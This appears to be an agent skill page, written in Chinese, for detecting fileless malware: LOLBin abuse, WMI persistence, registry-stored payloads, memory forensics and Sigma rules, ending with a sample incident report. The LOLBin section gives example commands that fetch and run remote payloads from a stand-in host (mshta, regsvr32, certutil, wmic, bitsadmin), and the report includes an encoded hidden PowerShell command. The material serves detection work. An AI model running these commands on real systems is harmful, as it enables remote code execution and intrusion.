# Detecting Fileless Malware Techniques

> 检测和分析完全在内存中运行的无文件恶意软件，这类恶意软件利用 PowerShell、 WMI、.NET 反射、注册表存储载荷和离地攻击二进制文件（LOLBins）， 不在磁盘上写入传统可执行文件。适用于无文件威胁检测、内存恶意软件调查、 LOLBin 滥用分析或 WMI 持久化检查等请求。

- Skill: `killvxk/detecting-fileless-malware-techniques` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/detecting-fileless-malware-techniques`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/detecting-fileless-malware-techniques/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/detecting-fileless-malware-techniques

---


# 检测无文件恶意软件技术

## 适用场景

- EDR 告警显示受信任的系统二进制文件（PowerShell、mshta、wmic、regsvr32）存在可疑行为
- 调查磁盘上没有传统恶意软件文件的攻击
- 分析 WMI 事件订阅、注册表存储载荷或计划任务滥用持久化的情况
- 在企业环境中为 LOLBin（离地攻击二进制文件）滥用构建检测规则
- 内存取证发现恶意代码但文件系统中不存在相应文件

**不适用于**传统的基于文件的恶意软件；标准的静态和动态分析方法更适合磁盘驻留恶意软件。

## 前置条件

- 已安装并配置 Sysmon，带全面日志记录（进程创建、WMI 事件、注册表更改）
- 已启用 PowerShell 脚本块日志记录和模块日志记录
- Volatility 3，用于无文件恶意软件工件的内存取证
- Process Monitor（ProcMon），用于实时系统活动监控
- 具有足够保留策略的 Windows 事件日志访问权限
- Autoruns，用于识别持久化机制

## 工作流程

### 步骤 1：识别 LOLBin 使用情况

检测合法 Windows 二进制文件被滥用于恶意目的的情况：

```
常见被滥用的 LOLBin 及检测模式：
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe：
  滥用：执行嵌入 VBScript/JScript 的 HTA 文件
  示例：mshta http://evil.com/payload.hta
  示例：mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  检测：mshta.exe 带 URL 参数或 vbscript: 前缀

regsvr32.exe：
  滥用：通过 COM 加载脚本组件（.sct 文件）——"Squiblydoo"
  示例：regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  检测：regsvr32.exe 带 /i: URL 参数

certutil.exe：
  滥用：下载文件、解码 Base64
  示例：certutil -urlcache -split -f http://evil.com/payload.exe
  示例：certutil -decode encoded.txt payload.exe
  检测：certutil.exe 带 -urlcache 或 -decode 参数

rundll32.exe：
  滥用：执行 DLL 函数、JavaScript
  示例：rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  检测：rundll32.exe 带 javascript: 参数

wmic.exe：
  滥用：通过 XSL 样式表执行代码
  示例：wmic process get brief /format:"http://evil.com/payload.xsl"
  检测：wmic.exe 带 /format: URL 参数

bitsadmin.exe：
  滥用：通过 BITS 下载文件
  示例：bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  检测：bitsadmin.exe 带 /transfer 或 /addfile 指向外部 URL

cmstp.exe：
  滥用：通过 INF 文件执行命令
  示例：cmstp.exe /ni /s payload.inf
  检测：cmstp.exe 从非标准位置执行
```

### 步骤 2：检测基于 WMI 的持久化

分析用于无文件持久化的 WMI 事件订阅：

```bash
# 列出 WMI 事件订阅（过滤器、消费者、绑定）
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list

# 用 PowerShell 枚举 WMI 订阅
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
```

```python
# 解析 Sysmon WMI 事件（事件 ID 19、20、21）
import subprocess
import xml.etree.ElementTree as ET

# WMI 事件过滤器创建（EID 19）
result = subprocess.run(
    ["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
     "/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
    capture_output=True, text=True
)

ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
    if not event_xml.strip():
        continue
    try:
        root = ET.fromstring(event_xml + "</Event>")
        eid = root.find(".//e:System/e:EventID", ns).text
        data = {}
        for d in root.findall(".//e:EventData/e:Data", ns):
            data[d.get("Name")] = d.text

        if eid == "19":
            print(f"[!] WMI 过滤器已创建：{data.get('Name')}")
            print(f"    查询：{data.get('Query')}")
        elif eid == "20":
            print(f"[!] WMI 消费者已创建：{data.get('Name')}")
            print(f"    类型：{data.get('Type')}")
            print(f"    目标：{data.get('Destination')}")
        elif eid == "21":
            print(f"[!] WMI 绑定已创建")
            print(f"    消费者：{data.get('Consumer')}")
            print(f"    过滤器：{data.get('Filter')}")
    except:
        pass
```

### 步骤 3：检测注册表驻留载荷

查找存储在 Windows 注册表中的恶意代码：

```bash
# 无文件载荷的常见注册表位置
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s

# 检查注册表值中的 PowerShell 编码命令
# 恶意软件在自定义注册表键中存储 Base64 编码的载荷
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul

# 检查大型注册表值（可能存储的载荷）
python3 << 'PYEOF'
import winreg
import base64

suspicious_keys = [
    (winreg.HKEY_CURRENT_USER, r"Software"),
    (winreg.HKEY_LOCAL_MACHINE, r"Software"),
]

def scan_registry(hive, path, depth=0):
    if depth > 3:
        return
    try:
        key = winreg.OpenKey(hive, path)
        i = 0
        while True:
            try:
                name, value, vtype = winreg.EnumValue(key, i)
                if isinstance(value, str) and len(value) > 500:
                    # 检查 Base64 编码内容
                    try:
                        decoded = base64.b64decode(value[:100])
                        print(f"[!] 大型 Base64 值：{path}\\{name}（{len(value)} 字节）")
                    except:
                        pass
                    # 检查 PowerShell 关键词
                    if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
                        print(f"[!] 注册表中的 PowerShell：{path}\\{name}")
                i += 1
            except WindowsError:
                break
        # 递归进入子键
        j = 0
        while True:
            try:
                subkey = winreg.EnumKey(key, j)
                scan_registry(hive, f"{path}\\{subkey}", depth + 1)
                j += 1
            except WindowsError:
                break
    except:
        pass

for hive, path in suspicious_keys:
    scan_registry(hive, path)
PYEOF
```

### 步骤 4：分析内存中的无文件工件

使用内存取证查找仅驻留在内存中的恶意软件：

```bash
# 检测注入代码（无后备文件）
vol3 -f memory.dmp windows.malfind

# 检查从内存加载的 .NET 程序集（非磁盘文件）
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"

# PowerShell CLR 使用情况（表明 .NET 反射加载）
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"

# 扫描已知的无文件框架
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "
rule Fileless_PowerShell {
    strings:
        \$s1 = \"System.Reflection.Assembly\" ascii wide
        \$s2 = \"[System.Convert]::FromBase64String\" ascii wide
        \$s3 = \"Invoke-Expression\" ascii wide
        \$s4 = \"DownloadString\" ascii wide
    condition:
        2 of them
}
"

# 从内存中提取 PowerShell 命令历史
vol3 -f memory.dmp windows.cmdline
strings memory.dmp | grep -i "invoke-\|iex \|downloadstring\|-encodedcommand"
```

### 步骤 5：构建全面的检测规则

为无文件技术创建检测内容：

```yaml
# Sigma 规则：LOLBin 执行带网络活动
title: 可疑的 LOLBin 执行带网络参数
logsource:
    category: process_creation
    product: windows
detection:
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http'
            - 'vbscript:'
            - 'javascript:'
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: '/i:http'
    selection_wmic:
        Image|endswith: '\wmic.exe'
        CommandLine|contains: '/format:http'
    condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high
```

```yaml
# Sigma 规则：WMI 持久化创建
title: WMI 事件订阅持久化
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID:
            - 19  # WMI EventFilter
            - 20  # WMI EventConsumer
            - 21  # WMI FilterConsumerBinding
    condition: selection
level: medium
```

### 步骤 6：记录无文件攻击链

映射完整的无文件攻击生命周期：

```
典型的无文件攻击链：
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
第 1 阶段 - 初始访问：
  邮件 -> 宏 -> mshta.exe/PowerShell（LOLBin 滥用）
  或 Web 漏洞利用 -> regsvr32/certutil（脚本组件下载）

第 2 阶段 - 执行：
  PowerShell 在内存中下载并执行脚本
  .NET Assembly.Load() 用于反射式加载
  WMI 进程创建用于横向移动

第 3 阶段 - 持久化：
  WMI 事件订阅（跨重启持续）
  注册表存储的编码载荷（由 Run 键加载）
  执行内联 PowerShell 的计划任务

第 4 阶段 - 权限提升：
  带 Invoke-Mimikatz 的 PowerShell（内存凭据窃取）
  通过 WMI 进行命名管道模拟

第 5 阶段 - 横向移动：
  WMI 远程进程创建（无需文件传输）
  PowerShell 远程处理（WinRM）
  通过 WMI 使用 PsExec

第 6 阶段 - 数据泄露：
  PowerShell HTTP POST 到 C2
  通过 Invoke-DNSExfiltration 进行 DNS 隧道
  云存储 API（OneDrive、Google Drive）
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **无文件恶意软件（Fileless Malware）** | 完全在内存中或在合法系统工具中运行的恶意软件，不在磁盘上创建传统可执行文件 |
| **LOLBins（离地攻击二进制文件）** | 攻击者滥用的合法系统二进制文件（mshta、regsvr32、certutil），在规避应用程序白名单的同时执行恶意代码 |
| **WMI 事件订阅** | Windows 管理规范持久化机制，使用事件过滤器、消费者和绑定在系统事件时执行代码 |
| **注册表驻留载荷** | 存储为 Windows 注册表值中编码数据的恶意代码，由 Run 键中的小桩代码加载并执行 |
| **反射式加载（Reflective Loading）** | 使用 Assembly.Load() 从内存中的字节数组加载 .NET 程序集或 PE 文件，无需写入磁盘 |
| **内存执行（In-Memory Execution）** | 直接在 RAM 中运行代码而不创建文件，利用进程注入、反射式加载或脚本解释器 |
| **脚本块日志记录（Script Block Logging）** | Windows PowerShell 日志记录功能（事件 ID 4104），在去混淆后捕获脚本内容，对无文件威胁可见性至关重要 |

## 工具与系统

- **Sysmon**：系统监视器，为进程创建、WMI 事件、注册表更改和网络连接提供详细的事件日志记录
- **Autoruns**：Sysinternals 工具，显示所有自动启动位置，包括 WMI 订阅、计划任务和注册表条目
- **Volatility**：内存取证框架，用于检测内存中的代码、注入进程和无文件恶意软件工件
- **Process Monitor**：实时监控文件系统、注册表和进程活动，用于观察无文件攻击行为
- **LOLBAS 项目**：社区记录的 LOLBin 滥用技术目录，位于 https://lolbas-project.github.io/

## 常见场景

### 场景：调查使用 WMI 持久化的无文件攻击

**场景背景**：Sysmon 告警显示 WMI 事件订阅创建，随后出现周期性 PowerShell 执行，磁盘上没有任何对应的恶意软件文件。该攻击在重启后持续存在。

**方法**：
1. 查询 WMI 命名空间的事件过滤器、消费者和绑定，以识别持久化机制
2. 提取 CommandLineEventConsumer 或 ActiveScriptEventConsumer 载荷
3. 解码 PowerShell 命令（通常使用 -enc 标志进行 Base64 编码）
4. 在脚本块日志记录中（事件 ID 4104）追踪 PowerShell 执行以获取完整的去混淆载荷
5. 分析内存转储中反射式加载的程序集和注入代码
6. 检查 PowerShell 脚本引用的注册表中是否有额外存储的载荷
7. 从初始访问到持久化和横向移动，映射完整的攻击链

**常见陷阱**：
- 事件发生前未启用 Sysmon WMI 事件日志记录（事件 19/20/21）
- 在捕获内存转储前重启系统（销毁内存中的证据）
- 仅关注基于文件的 IoC，而攻击完全是无文件的
- 因 LOLBin 执行留下的痕迹极少而遗漏初始访问向量

## 输出格式

```
无文件恶意软件分析报告
===================================
事件：           INC-2025-2847
攻击类型：       无文件（磁盘上无恶意软件文件）

初始访问
向量：           带宏的钓鱼邮件
LOLBin 链：     WINWORD.EXE -> mshta.exe -> powershell.exe

持久化机制
类型：           WMI 事件订阅
过滤器名称：    WindowsUpdateCheck
过滤器查询：    SELECT * FROM __InstanceModificationEvent WITHIN 300
                 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
消费者：        CommandLineEventConsumer
命令：          powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...

解码后的载荷
[第 1 层] Base64 UTF-16LE 解码
[第 2 层] AMSI 绕过 + 嵌入式 .NET 载荷的 Assembly.Load()
[第 3 层] 与 185.220.101[.]42 通信的 .NET RAT

注册表载荷
HKCU\Software\AppDataLow\Config\data = [Base64 编码的 .NET 程序集，247KB]
由：PowerShell WMI 消费者脚本加载

内存工件
PID 4012（powershell.exe）：0x00400000 处的注入 .NET 程序集
  - 通过 YARA 检测到 CobaltStrike 信标
  - C2：hxxps://185.220.101[.]42/updates

提取的 IoC
C2 IP：          185.220.101[.]42
WMI 过滤器：    WindowsUpdateCheck
注册表路径：    HKCU\Software\AppDataLow\Config\data
PowerShell 标志：-nop -w hidden -enc

MITRE ATT&CK
T1059.001  PowerShell
T1546.003  WMI 事件订阅
T1218.005  Mshta
T1112      修改注册表
T1055.012  进程空洞化
```

